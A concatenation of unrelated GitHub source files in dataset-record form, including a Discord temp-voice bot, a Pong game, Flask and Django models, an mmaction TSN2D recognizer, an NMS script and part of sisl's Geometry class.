self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"select users:\", view=view, ephemeral=True)\n\n @permission_check\n async def transfer(self, ctx: discord.Interaction, channel_owner):\n options = []\n for member in ctx.guild.members:\n options.append(discord.SelectOption(\n label=await self.get_name(member),\n description=f\"{member.name}#{member.discriminator}\",\n #emoji=await self.get_avatar(member),\n value=str(member.id)))\n select = Select(placeholder=\"channel will be tranfered to selected user\", options=options)\n async def callback(interaction: discord.Interaction):\n self.temp_channels.remove(channel_owner)\n channel_owner.update({\"owner_id\": int(interaction.data[\"values\"][0])})\n self.temp_channels.append(channel_owner)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await interaction.response.send_message(\"channel transfered\", ephemeral=True)\n select.callback = callback\n view = View()\n view.add_item(select)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"select user:\", view=view, ephemeral=True)\n \n @permission_check\n async def kick(self, ctx: discord.Interaction, channel_owner):\n channel: discord.VoiceChannel = channel_owner.get(\"channel\")\n options = []\n for member in channel.members:\n options.append(discord.SelectOption(\n label=await self.get_name(member),\n description=f\"{member.name}#{member.discriminator}\",\n #emoji=await self.get_avatar(member),\n value=str(member.id)))\n select = Select(placeholder=\"selected users will be kicked\", options=options, min_values=1, max_values=len(options))\n async def callback(interaction: discord.Interaction):\n for user_id in interaction.data[\"values\"]:\n member: discord.Member = ctx.guild.get_member(int(user_id))\n await member.move_to(None)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await interaction.response.send_message(\"users kicked\", ephemeral=True)\n select.callback = callback\n view = View()\n view.add_item(select)\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(\"select users:\", view=view, ephemeral=True)\n \n @permission_check\n async def delete(self, ctx: discord.Interaction, channel_owner):\n self.temp_channels.remove(channel_owner)\n await self.voice_delete(channel_owner.get(\"channel\"))\n if self.current_response and ctx.user.id == self.current_response.user.id: await self.current_response.delete_original_response()\n self.current_response = await ctx.response.send_message(content=\"channel deleted\", ephemeral=True)\n\n async def get_name(self, member: discord.Member):\n if member.nick == None:\n name = member.name\n else:\n name = member.nick\n return name\n\n async def get_avatar(self, user: discord.User):\n if user.avatar == None:\n avatar = user.default_avatar.url\n else:\n avatar = user.avatar.url\n return avatar","repo_name":"deoxce/hotaru","sub_path":"tempvoice.py","file_name":"tempvoice.py","file_ext":"py","file_size_in_byte":21056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31359227973","text":"#termProject.py\nfrom graphics import *\nfrom time import sleep\nfrom messageBox import *\n\nwin = GraphWin(\"Two Player Pong\",1000,600)\n#def players():\n#player 1 (blue) \nplayer1A = Rectangle(Point(100,285),Point(110,205))\nplayer1A.draw(win)\nplayer1A.setFill('blue')\nplayer1B = Rectangle(Point(600,285),Point(610,205))\nplayer1B.draw(win)\nplayer1B.setFill('blue')\n#player 2 (red)\nplayer2A = Rectangle(Point(900,285),Point(890,205))\nplayer2A.draw(win)\nplayer2A.setFill('red')\nplayer2B = Rectangle(Point(400,285),Point(390,205))\nplayer2B.draw(win)\nplayer2B.setFill('red')\nscoreP1 = 0\nscoreP2 = 0\nwin.done = False #continue the game until this is set to 1 in keyProcess\n\n\ndef keyProcess(event):\n print(repr(event.char), str(event.char), event.keycode, event.keysym, \"is pressed.\")\n if event.keysym==\"w\" and player2A.getP1().getY()>175:\n player2A.move(0,-5)\n player2B.move(0,-5)\n elif event.keysym==\"s\" and player2A.getP2().getY()<515:\n player2A.move(0,5)\n player2B.move(0,5)\n elif event.keysym==\"Up\" and player1A.getP1().getY()>175:\n player1A.move(0,-5)\n player1B.move(0,-5)\n elif event.keysym==\"Down\" and player1A.getP2().getY()<515:\n player1A.move(0,5)\n player1B.move(0,5)\n elif event.keysym==\"Escape\":\n resetGame()\n## ball.move(500-ball.getCenter().getX(), 345-ball.getCenter().getY())\n elif event.keysym==\"q\":\n win.gameOn = False\n## else:\n## player1A.move(0,0)\n## player1B.move(0,0)\n## player2A.move(0,0)\n## player2B.move(0,0)\n \n#playing feild\nwin.master.bind('', keyProcess)\nwin.setBackground('green')\np1 = Point(0,95)\np2 = Point(1000,90)\nscoreBox = Rectangle(p1,p2)\nscoreBox.draw(win)\nscoreBox.setFill('white')\nbLine = Rectangle(Point(0,600),Point(1000,595))\nbLine.draw(win)\nbLine.setFill('white')\nulGoal = Rectangle(Point(0,95),Point(50,220))\nulGoal.draw(win)\nulGoal.setFill('white')\nurGoal = Rectangle(Point(1000,95),Point(950,220))\nurGoal.draw(win)\nurGoal.setFill('white')\nblGoal = Rectangle(Point(0,595),Point(50,470))\nblGoal.draw(win)\nblGoal.setFill('white')\nbrGoal = Rectangle(Point(1000,595),Point(950,470))\nbrGoal.draw(win)\nbrGoal.setFill('white')\nmiddleLine = Rectangle(Point(495,95),Point(505,595))\nmiddleLine.draw(win)\nmiddleLine.setFill('white')\n\n#ball\nball = Circle(Point(500,345),15)\nball.setFill('black')\n\ndef resetGame():\n player1A.move(100-player1A.getP1().getX(), 285-player1A.getP1().getY())\n player1B.move(600-player1B.getP1().getX(), 285-player1B.getP1().getY())\n player2A.move(400-player2A.getP1().getX(), 285-player2A.getP1().getY())\n player2B.move(900-player2B.getP1().getX(), 285-player2B.getP1().getY())\n ball.move(500-ball.getCenter().getX(), 345-ball.getCenter().getY())\n \n\n#def ballMoving():\n\ndx = 1\ndy = -1\n\nscoreBoard = Text(Point(500,45), \"Player1: 0, Player2: 0\")\nscoreBoard.draw(win)\n\nwhile win.done==False:\n win.gameOn = True #the game starts\n resetGame()\n ball.draw(win)\n while win.gameOn == True:\n ball.move(dx,dy)\n center = ball.getCenter()\n centerRP1A = player1A.getCenter()\n centerRP1Ay = centerRP1A.getY()\n centerRP1B = player1B.getCenter()\n centerRP1By = centerRP1B.getY()\n centerRP2A = player2A.getCenter()\n centerRP2Ay = centerRP2A.getY()\n centerRP2B = player2B.getCenter()\n centerRP2By = centerRP2B.getY()\n if center.getY() +15 > 595:\n dy = -dy\n if center.getY() - 15 < 95:\n dy = -dy\n #ulgoal\n if center.getX() - 15 < 50 and center.getY() < 220: \n dx = - dx\n if center.getX() < 50 and center.getY() - 15 == 220:\n dy = - dy\n #blgoal\n if center.getX() - 15 < 50 and center.getY() > 470: \n dx = - dx\n if center.getX() < 50 and center.getY() +15 == 470:\n dy = - dy\n #urgoal\n if center.getX() + 15 > 950 and center.getY() < 220: \n dx = - dx\n if center.getX() > 950 and center.getY() -15 == 220:\n dy = - dy\n #brgoal\n if center.getX() + 15 > 950 and center.getY() > 470: \n dx = - dx\n if center.getX() > 950 and center.getY() +15 == 470:\n dy = - dy\n if center.getX() > 1000:\n print(\"Goal! Player 1 scored.\")\n win.gameOn = False\n scoreP1 = scoreP1 + 1\n ball.undraw()\n if center.getX() < 0:\n print(\"Goal! Player 2 scored.\")\n win.gameOn = False\n scoreP2 = scoreP2 + 1\n ball.undraw()\n #player1A\n if center.getX() + 15 == 100 and center.getY() < centerRP1Ay + 40 and center.getY() > centerRP1Ay - 40:\n dx = -dx\n if center.getX() - 15 == 110 and center.getY() < centerRP1Ay + 40 and center.getY() > centerRP1Ay - 40:\n dx = -dx\n if center.getX() > 100 and center.getX() < 110 and center.getY() + 15 == centerRP1Ay -40:\n dy = - dy\n if center.getX() > 100 and center.getX() < 110 and center.getY() -15 == centerRP1Ay +40:\n dy = - dy\n #player1B\n if center.getX() + 15 == 600 and center.getY() < centerRP1By + 40 and center.getY() > centerRP1By - 40:\n dx = -dx\n if center.getX() - 15 == 610 and center.getY() < centerRP1By + 40 and center.getY() > centerRP1By - 40:\n dx = -dx\n if center.getX() > 600 and center.getX() < 610 and center.getY() +15 == centerRP1By - 40:\n dy = - dy\n if center.getX() > 600 and center.getX() < 610 and center.getY() - 15 == centerRP1By + 40:\n dy = - dy\n #player2A\n if center.getX() + 15 == 890 and center.getY() < centerRP2Ay + 40 and center.getY() > centerRP2Ay - 40:\n dx = -dx\n if center.getX() - 15 == 900 and center.getY() < centerRP2Ay + 40 and center.getY() > centerRP2Ay - 40:\n dx = -dx\n if center.getX() > 890 and center.getX() < 900 and center.getY() + 15 == centerRP2Ay - 40:\n dy = - dy\n if center.getX() > 890 and center.getX() < 900 and center.getY() - 15 == centerRP2Ay + 40:\n dy = - dy\n #player2B\n if center.getX() + 15 == 390 and center.getY() < centerRP2By + 40 and center.getY() > centerRP2By - 40:\n dx = -dx\n if center.getX() - 15 == 400 and center.getY() < centerRP2By + 40 and center.getY() > centerRP2By - 40:\n dx = -dx\n if center.getX() > 390 and center.getX() < 400 and center.getY() + 15 == centerRP2By - 40:\n dy = - dy\n if center.getX() > 390 and center.getX() < 400 and center.getY() - 15 == centerRP2By + 40:\n dy = - dy\n sleep(0.02)\n scoreBoard.setText(\"Player 1: \" + str(scoreP1) + \", Player 2: \" + str(scoreP2))\n if scoreP1 == 10:\n win.close()\n win1 = GraphWin(\"WINNER!\", 250, 250)\n winner1 = Text (Point(125,125), \"Player 1 wins!\")\n winner1.draw(win1)\n if scoreP2 == 10:\n win.close()\n win2 = GraphWin(\"WINNER!\", 250, 250)\n winner2 = Text(Point(125,125), \"Player 2 wins!\")\n winner2.draw(win2)\n resp = messageBox2(\"Click yes to continue\")\n if resp != \"yes\":\n break\n else:\n resetGame()\n \n\nwin.close()\n\n \n\n","repo_name":"william-crumrine/pongV1","sub_path":"PongV1.py","file_name":"PongV1.py","file_ext":"py","file_size_in_byte":7254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3371128489","text":"# def dec_(any_fun):\n# def warp_():\n# print(\"this is wrap func\")\n# return any_fun\n# # return warp_ \n# def num(n):\n# for i in range(1,n+1):\n# yield(i)\n# a=num(10) \n# for i in a:\n# print(i) \nimport time\nt1=time.time()\ng=(i**2 for i in range(10000000))\nt2=time.time()\nprint(t2-t1) ","repo_name":"codekirpa/python-prog","sub_path":"New folder/decrotar.py","file_name":"decrotar.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8784992766","text":"from . import db\n\nfrom flask.ext.wtf import Form\nfrom OpenSSL import crypto\nfrom wtforms import ValidationError\nfrom wtforms_alchemy import model_form_factory\nimport datetime\n\n\nclass Certificate(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n content = db.Column(db.Text, nullable=False)\n submitted_date = db.Column(db.DateTime, default=datetime.datetime.utcnow)\n verified_date = db.Column(db.DateTime)\n status = db.Column(db.String(10), nullable=False, default='new')\n\n\nclass CertificateForm(model_form_factory(Form)):\n class Meta:\n model = Certificate\n only = (\n 'content',\n )\n\n def validate_content(self, field):\n if field.data:\n try:\n crypto.load_certificate_request(crypto.FILETYPE_PEM, field.data)\n except crypto.Error:\n raise ValidationError(\"Invalid certificate request.\")\n","repo_name":"thusoy/pwm-server","sub_path":"pwm_server/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71051411073","text":"import torch.nn as nn\nfrom .base import BaseRecognizer\nfrom .. import builder\nfrom ..registry import RECOGNIZERS\nimport torch\nimport numpy as np\n\n\n@RECOGNIZERS.register_module\nclass TSN2D(BaseRecognizer):\n\n def __init__(self,\n backbone,\n necks=None,\n modality='RGB',\n in_channels=3,\n spatial_temporal_module=None,\n segmental_consensus=None,\n fcn_testing=False,\n flip=False,\n cls_head=None,\n train_cfg=None,\n test_cfg=None):\n\n super(TSN2D, self).__init__()\n self.backbone = builder.build_backbone(backbone)\n self.modality = modality\n self.in_channels = in_channels\n if necks is not None:\n self.necks = builder.build_neck(necks)\n else:\n self.necks = None\n\n if spatial_temporal_module is not None:\n self.spatial_temporal_module = builder.build_spatial_temporal_module(\n spatial_temporal_module)\n else:\n raise NotImplementedError\n\n if segmental_consensus is not None:\n self.segmental_consensus = builder.build_segmental_consensus(\n segmental_consensus)\n else:\n raise NotImplementedError\n\n if cls_head is not None:\n self.cls_head = builder.build_head(cls_head)\n else:\n raise NotImplementedError\n\n self.train_cfg = train_cfg\n self.test_cfg = test_cfg\n self.fcn_testing = fcn_testing\n self.flip = flip\n assert modality in ['RGB', 'Flow', 'RGBDiff']\n\n self.init_weights()\n\n @property\n def with_spatial_temporal_module(self):\n return hasattr(self, 'spatial_temporal_module') and self.spatial_temporal_module is not None\n\n @property\n def with_segmental_consensus(self):\n return hasattr(self, 'segmental_consensus') and self.segmental_consensus is not None\n\n @property\n def with_cls_head(self):\n return hasattr(self, 'cls_head') and self.cls_head is not None\n\n def init_weights(self):\n super(TSN2D, self).init_weights()\n self.backbone.init_weights()\n\n if self.with_spatial_temporal_module:\n self.spatial_temporal_module.init_weights()\n\n if self.with_segmental_consensus:\n self.segmental_consensus.init_weights()\n\n if self.with_cls_head:\n self.cls_head.init_weights()\n\n if self.necks is not None:\n self.necks.init_weights()\n\n def extract_feat(self, img_group):\n x = self.backbone(img_group)\n return x\n\n def forward_train(self,\n num_modalities,\n img_meta,\n gt_label,\n **kwargs):\n assert num_modalities == 1\n img_group = kwargs['img_group_0']\n\n bs = img_group.shape[0]\n img_group = img_group.reshape(\n (-1, self.in_channels) + img_group.shape[3:])\n num_seg = img_group.shape[0] // bs\n\n x = self.extract_feat(img_group)\n if self.necks is not None:\n x = [each.reshape((-1, num_seg) + each.shape[1:]).transpose(1, 2) for each in x]\n x, aux_losses = self.necks(x, gt_label.squeeze())\n x = x.squeeze(2)\n num_seg = 1\n\n if self.with_spatial_temporal_module:\n x = self.spatial_temporal_module(x)\n x = x.reshape((-1, num_seg) + x.shape[1:])\n if self.with_segmental_consensus:\n x = self.segmental_consensus(x)\n x = x.squeeze(1)\n losses = dict()\n if self.with_cls_head:\n cls_score = self.cls_head(x)\n gt_label = gt_label.squeeze()\n loss_cls = self.cls_head.loss(cls_score, gt_label)\n losses.update(loss_cls)\n if self.necks is not None:\n if aux_losses is not None:\n losses.update(aux_losses)\n return losses\n\n def forward_test(self,\n num_modalities,\n img_meta,\n **kwargs):\n if not self.fcn_testing:\n # 1crop * 1clip \n assert num_modalities == 1\n img_group = kwargs['img_group_0']\n\n bs = img_group.shape[0]\n img_group = img_group.reshape(\n (-1, self.in_channels) + img_group.shape[3:])\n num_seg = img_group.shape[0] // bs\n\n x = self.extract_feat(img_group)\n\n if self.necks is not None:\n x = [each.reshape((-1, num_seg) + each.shape[1:]).transpose(1, 2) for each in x]\n x, _ = self.necks(x)\n x = x.squeeze(2)\n num_seg = 1\n\n if self.with_spatial_temporal_module:\n x = self.spatial_temporal_module(x)\n x = x.reshape((-1, num_seg) + x.shape[1:])\n if self.with_segmental_consensus:\n x = self.segmental_consensus(x)\n x = x.squeeze(1)\n if self.with_cls_head:\n x = self.cls_head(x)\n\n return x.cpu().numpy()\n else:\n # fcn testing\n assert num_modalities == 1\n img_group = kwargs['img_group_0']\n\n bs = img_group.shape[0]\n img_group = img_group.reshape(\n (-1, self.in_channels) + img_group.shape[3:])\n # standard protocol i.e. 3 crops * 2 clips\n num_seg = self.backbone.nsegments * 2\n # 3 crops to cover full resolution\n num_crops = 3\n img_group = img_group.reshape((num_crops, num_seg) + img_group.shape[1:])\n\n x1 = img_group[:, ::2, :, :, :]\n x2 = img_group[:, 1::2, :, :, :]\n img_group = torch.cat([x1, x2], 0)\n num_seg = num_seg // 2\n num_clips = img_group.shape[0]\n img_group = img_group.view(num_clips * num_seg, img_group.shape[2], img_group.shape[3], img_group.shape[4])\n\n if self.flip:\n img_group = self.extract_feat(torch.flip(img_group, [-1]))\n x = self.extract_feat(img_group)\n if self.necks is not None:\n x = [each.reshape((-1, num_seg) + each.shape[1:]).transpose(1, 2) for each in x]\n x, _ = self.necks(x)\n else:\n x = x.reshape((-1, num_seg) + x.shape[1:]).transpose(1, 2)\n x = self.cls_head(x)\n\n prob = torch.nn.functional.softmax(x.mean([2, 3, 4]), 1).mean(0, keepdim=True).detach().cpu().numpy()\n return prob\n","repo_name":"decisionforce/TPN","sub_path":"mmaction/models/recognizers/TSN2D.py","file_name":"TSN2D.py","file_ext":"py","file_size_in_byte":6581,"program_lang":"python","lang":"en","doc_type":"code","stars":386,"dataset":"github-code","pt":"61"} +{"seq_id":"17865276196","text":"from django.db import models\n\nfrom .base_model import BaseModel\n\n\nclass CompaniesBusinessLines(BaseModel):\n company = models.ForeignKey(\n to=\"Companies\", related_name=\"companies\", on_delete=models.CASCADE\n )\n business_line = models.ForeignKey(\n to=\"BusinessLines\", related_name=\"BusinessLines\", on_delete=models.CASCADE\n )\n\n class Meta:\n db_table = \"companies_business_lines\"\n constraints = [\n models.UniqueConstraint(\n fields=[\"company\", \"business_line\"],\n name=\"unique_companies_business_lines\",\n )\n ]\n","repo_name":"EugeniRosh/job_board","sub_path":"src/job_board/core/models/companies_business_lines.py","file_name":"companies_business_lines.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74202900033","text":"numbers = frozenset({0 , 1, 2, 3, 4, 5, 6, 7, 8, 9})\n\n# numbers.add(20) AttributeError\n\nprint(numbers)\n\nusers = {1, 2, 3, 4, 5}\n\nusers.add(2)\nusers.add(6)\n\nprint(len(users))\n","repo_name":"flaviogf/courses","sub_path":"alura/python_collections_parte_2/example_2.py","file_name":"example_2.py","file_ext":"py","file_size_in_byte":174,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"23588407211","text":"def calc(l,r):\r\n\tfor i in range(1,len(l)):\r\n\t\ta, b = r/i, l[i]-l[i-1]\r\n\t\tn = a if a < b else b\r\n\t\t\r\n\t\tfor j in range(i):\r\n\t\t\tl[j]+=n\r\n\t\t\tr-=n\r\n\t\t\t\r\n\t\tif a < b:\r\n\t\t\tbreak\r\n\t\t\t\r\n\tif r > 0:\r\n\t\ta, b = r/len(l), 1-l[0]\r\n\t\tn = a if a < b else b\r\n\t\t\r\n\t\tfor i in range(len(l)):\r\n\t\t\tl[i]+=n\t\r\n\t\t\t\r\n\treturn l\r\n\t\r\ndef test():\r\n\tT, N = map(int, input().split())\r\n\tr = float(input())\r\n\tl = sorted(list(map(float, input().split())))\r\n\ta = calc(l,r)\r\n\t\r\n\tans = 1\r\n\tfor i in a:\r\n\t\tans *= i\r\n\t\t\r\n\treturn ans\r\n\r\ndef main():\r\n\tc = int(input())\r\n\t\r\n\tfor i in range(c):\r\n\t\tprint(\"Case #\"+str(i+1)+\": \"+str(test()))\r\n\t\t\r\nmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_211/243.py","file_name":"243.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38684011899","text":"\"\"\" \n@author: Zhigang Jiang\n@time: 2023/01/05\n@description:\n\"\"\"\nimport numpy as np\n\n\ndef calc_iou(gt_boxes: np.array, pred_boxes: np.array):\n \"\"\"\n :param gt_boxes: [n_gt x 4(x1, y1, x2, y2)]\n :param pred_boxes: [m_pred x 4(x1, y1, x2, y2)]\n :return ious: [m_pred x n_gt]\n \"\"\"\n\n n_gt = len(gt_boxes)\n m_pred = len(pred_boxes)\n\n ious = np.zeros((m_pred, n_gt))\n for i in range(m_pred):\n pred_box = pred_boxes[i]\n i_x_min = np.maximum(gt_boxes[:, 0], pred_box[0])\n i_y_min = np.maximum(gt_boxes[:, 1], pred_box[1])\n i_x_max = np.minimum(gt_boxes[:, 2], pred_box[2])\n i_y_max = np.minimum(gt_boxes[:, 3], pred_box[3])\n i_w = np.maximum(i_x_max - i_x_min, 0.)\n i_h = np.maximum(i_y_max - i_y_min, 0.)\n inters_area = i_w * i_h\n pred_area = (pred_box[2] - pred_box[0]) * (pred_box[3] - pred_box[1])\n gt_areas = (gt_boxes[:, 2] - gt_boxes[:, 0]) * (gt_boxes[:, 3] - gt_boxes[:, 1])\n ious[i] = inters_area / (pred_area + gt_areas - inters_area)\n\n return ious\n\n\ndef nms_cls(boxes, scores, threshold=0.2):\n \"\"\"\n :param boxes: [n x 4(x1, y1, x2, y2)]\n :param scores: [n]\n :param threshold: iou threshold\n :return predicts_dict: processed by non-maximum suppression\n \"\"\"\n order = scores.argsort()[::-1]\n keep = []\n\n while order.size > 0:\n keep.append(order[0])\n iou = calc_iou(boxes[order[0]:order[0] + 1, :4], boxes[order[1:], :4])\n indexes = np.where(iou <= threshold)[0] + 1\n order = order[indexes]\n\n return boxes[keep]\n\n\ndef nms(predicts_dict, threshold=0.2):\n \"\"\"\n :param predicts_dict: {\"stick\": [[x1, y1, x2, y2, scores1], [...]]}.\n :param threshold: iou threshold\n :return predicts_dict: processed by non-maximum suppression\n \"\"\"\n for object_name, boxes in predicts_dict.items():\n predicts_dict[object_name] = nms_cls(boxes[:, :4], boxes[:, 4], threshold)\n return predicts_dict\n\n\nif __name__ == '__main__':\n nms({\n 's': np.array([[1, 1, 3, 3, 0.8], [1, 1, 2, 2, 0.6], [2, 2, 8, 8, 0.9]])\n })","repo_name":"zhigangjiang/deepv2d_pytorch","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"4255344874","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at https://mozilla.org/MPL/2.0/.\n# To check for integers\nfrom __future__ import annotations\n\nimport logging\nimport warnings\nfrom collections import OrderedDict\nfrom functools import reduce, singledispatchmethod\nfrom itertools import product\nfrom math import acos\nfrom numbers import Integral, Real\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Iterator, List, Optional, Sequence, Tuple, Union\n\nimport numpy as np\nfrom numpy import (\n argsort,\n bool_,\n ceil,\n concatenate,\n diff,\n dot,\n floor,\n int32,\n isin,\n ndarray,\n split,\n sqrt,\n square,\n tile,\n unique,\n)\n\nfrom sisl._typing_ext.numpy import ArrayLike, NDArray\n\nif TYPE_CHECKING:\n from sisl.typing import (\n AtomsArgument,\n OrbitalsArgument,\n SileType,\n LatticeOrGeometryLike,\n )\n\nfrom . import _array as _a\nfrom . import _plot as plt\nfrom ._category import Category, GenericCategory\nfrom ._dispatch_class import _Dispatchs\nfrom ._dispatcher import AbstractDispatch, ClassDispatcher, TypeDispatcher\nfrom ._help import isndarray\nfrom ._indices import (\n indices_gt_le,\n indices_in_sphere_with_dist,\n indices_le,\n list_index_le,\n)\nfrom ._internal import set_module\nfrom ._math_small import cross3, is_ascending\nfrom ._namedindex import NamedIndex\nfrom .atom import Atom, Atoms\nfrom .lattice import Lattice, LatticeChild\nfrom .messages import SislError, deprecate_argument, info, warn\nfrom .orbital import Orbital\nfrom .quaternion import Quaternion\nfrom .shape import Cube, Shape, Sphere\nfrom .utils import (\n angle,\n cmd,\n default_ArgumentParser,\n default_namespace,\n direction,\n lstranges,\n str_spec,\n strmap,\n)\nfrom .utils.mathematics import fnorm\n\n__all__ = [\"Geometry\", \"sgeom\"]\n\n_log = logging.getLogger(\"sisl\")\n_log.info(f\"adding logger: {__name__}\")\n_log = logging.getLogger(__name__)\n\n\n# It needs to be here otherwise we can't use it in these routines\n# Note how we are overwriting the module\n@set_module(\"sisl.geom\")\nclass AtomCategory(Category):\n __slots__ = tuple()\n\n @classmethod\n def is_class(cls, name, case=True) -> bool:\n # Strip off `Atom`\n if case:\n return cls.__name__[4:] == name\n return cls.__name__[4:].lower() == name.lower()\n\n\n@set_module(\"sisl\")\nclass Geometry(\n LatticeChild,\n _Dispatchs,\n dispatchs=[\n (\n \"new\",\n ClassDispatcher(\n \"new\", obj_getattr=\"error\", instance_dispatcher=TypeDispatcher\n ),\n ),\n (\"to\", ClassDispatcher(\"to\", obj_getattr=\"error\", type_dispatcher=None)),\n ],\n when_subclassing=\"copy\",\n):\n \"\"\"Holds atomic information, coordinates, species, lattice vectors\n\n The `Geometry` class holds information regarding atomic coordinates,\n the atomic species, the corresponding lattice-vectors.\n\n It enables the interaction and conversion of atomic structures via\n simple routine methods.\n\n All lengths are assumed to be in units of Angstrom, however, as\n long as units are kept same the exact units are irrespective.\n\n .. code:: python\n\n >>> square = Geometry([[0.5, 0.5, 0.5]], Atom(1),\n ... lattice=Lattice([1, 1, 10], nsc=[3, 3, 1]))\n >>> print(square)\n Geometry{na: 1, no: 1,\n Atoms{species: 1,\n Atom{H, Z: 1, mass(au): 1.00794, maxR: -1.00000,\n Orbital{R: -1.00000, q0: 0.0}\n }: 1,\n },\n maxR: -1.00000,\n Lattice{volume: 1.0000e+01, nsc: [3 3 1]}\n }\n\n\n Parameters\n ----------\n xyz : array_like\n atomic coordinates\n ``xyz[i, :]`` is the atomic coordinate of the i'th atom.\n atoms : array_like or Atoms\n atomic species retrieved from the `PeriodicTable`\n lattice : Lattice\n the unit-cell describing the atoms in a periodic\n super-cell\n\n Examples\n --------\n\n An atomic cubic lattice of Hydrogen atoms\n\n >>> xyz = [[0, 0, 0],\n ... [1, 1, 1]]\n >>> sc = Lattice([2,2,2])\n >>> g = Geometry(xyz, Atom('H'), sc)\n\n The following estimates the lattice vectors from the\n atomic coordinates, although possible, it is not recommended\n to be used.\n\n >>> xyz = [[0, 0, 0],\n ... [1, 1, 1]]\n >>> g = Geometry(xyz, Atom('H'))\n\n Conversion of geometries to other projects instances can be done via\n sisl's dispatch functionality\n\n >>> g.to.ase()\n Atoms(...)\n\n converts to an ASE `Atoms` object.\n\n See Also\n --------\n Atoms : contained atoms ``self.atoms``\n Atom : contained atoms are each an object of this\n \"\"\"\n\n @deprecate_argument(\n \"sc\",\n \"lattice\",\n \"argument sc has been deprecated in favor of lattice, please update your code.\",\n \"0.15.0\",\n )\n def __init__(self, xyz: ArrayLike, atoms=None, lattice=None, names=None):\n # Create the geometry coordinate, be aware that we do not copy!\n self.xyz = _a.asarrayd(xyz).reshape(-1, 3)\n\n # Default value\n if atoms is None:\n atoms = Atom(\"H\")\n\n # Create the local Atoms object\n self._atoms = Atoms(atoms, na=self.na)\n\n # Assign a group specifier\n if isinstance(names, NamedIndex):\n self._names = names.copy()\n else:\n self._names = NamedIndex(names)\n\n self._init_lattice(lattice)\n\n def _init_lattice(self, lattice):\n \"\"\"Initializes the supercell by *calculating* the size if not supplied\n\n If the supercell has not been passed we estimate the unit cell size\n by calculating the bond-length in each direction for a square\n Cartesian coordinate system.\n \"\"\"\n # We still need the *default* super cell for\n # estimating the supercell\n self.set_lattice(lattice)\n\n if lattice is not None:\n return\n\n # First create an initial guess for the supercell\n # It HAS to be VERY large to not interact\n closest = self.close(0, R=(0.0, 0.4, 5.0))[2]\n if len(closest) < 1:\n # We could not find any atoms very close,\n # hence we simply return and now it becomes\n # the users responsibility\n\n # We create a molecule box with +10 A in each direction\n m, M = np.amin(self.xyz, axis=0), np.amax(self.xyz, axis=0) + 10.0\n self.set_lattice(M - m)\n return\n\n sc_cart = _a.zerosd([3])\n cart = _a.zerosd([3])\n for i in range(3):\n # Initialize cartesian direction\n cart[i] = 1.0\n\n # Get longest distance between atoms\n max_dist = np.amax(self.xyz[:, i]) - np.amin(self.xyz[:, i])\n\n dist = self.xyz[closest, :] - self.xyz[0, :][None, :]\n # Project onto the direction\n dd = np.abs(dot(dist, cart))\n\n # Remove all below .4\n tmp_idx = (dd >= 0.4).nonzero()[0]\n if len(tmp_idx) > 0:\n # We have a success\n # Add the bond-distance in the Cartesian direction\n # to the maximum distance in the same direction\n sc_cart[i] = max_dist + np.amin(dd[tmp_idx])\n else:\n # Default to LARGE array so as no\n # interaction occurs (it may be 2D)\n sc_cart[i] = max(10.0, max_dist)\n cart[i] = 0.0\n\n # Re-set the supercell to the newly found one\n self.set_lattice(sc_cart)\n\n @property\n def atoms(self) -> Atoms:\n \"\"\"Atoms for the geometry (`Atoms` object)\"\"\"\n return self._atoms\n\n @property\n def names(self):\n \"\"\"The named index specifier\"\"\"\n return self._names\n\n @property\n def q0(self) -> float:\n \"\"\"Total initial charge in this geometry (sum of q0 in all atoms)\"\"\"\n return self.atoms.q0.sum()\n\n @property\n def mass(self) -> ndarray:\n \"\"\"The mass of all atoms as an array\"\"\"\n return self.atoms.mass\n\n def maxR(self, all: bool = False) -> float:\n \"\"\"Maximum orbital range of the atoms\"\"\"\n return self.atoms.maxR(all)\n\n @property\n def na(self) -> int:\n \"\"\"Number of atoms in geometry\"\"\"\n return self.xyz.shape[0]\n\n @property\n def na_s(self) -> int:\n \"\"\"Number of supercell atoms\"\"\"\n return self.na * self.n_s\n\n def __len__(self) -> int:\n \"\"\"Number of atoms in geometry in unit cell\"\"\"\n return self.na\n\n @property\n def no(self) -> int:\n \"\"\"Number of orbitals in unit cell\"\"\"\n return self.atoms.no\n\n @property\n def no_s(self) -> int:\n \"\"\"Number of supercell orbitals\"\"\"\n return self.no * self.n_s\n\n @property\n def firsto(self) -> NDArray[np.int32]:\n \"\"\"The first orbital on the corresponding atom\"\"\"\n return self.atoms.firsto\n\n @property\n def lasto(self) -> NDArray[np.int32]:\n \"\"\"The last orbital on the corresponding atom\"\"\"\n return self.atoms.lasto\n\n @property\n def orbitals(self) -> ndarray:\n \"\"\"List of orbitals per atom\"\"\"\n return self.atoms.orbitals\n\n ## End size of geometry\n\n @property\n def fxyz(self) -> NDArray[np.float64]:\n 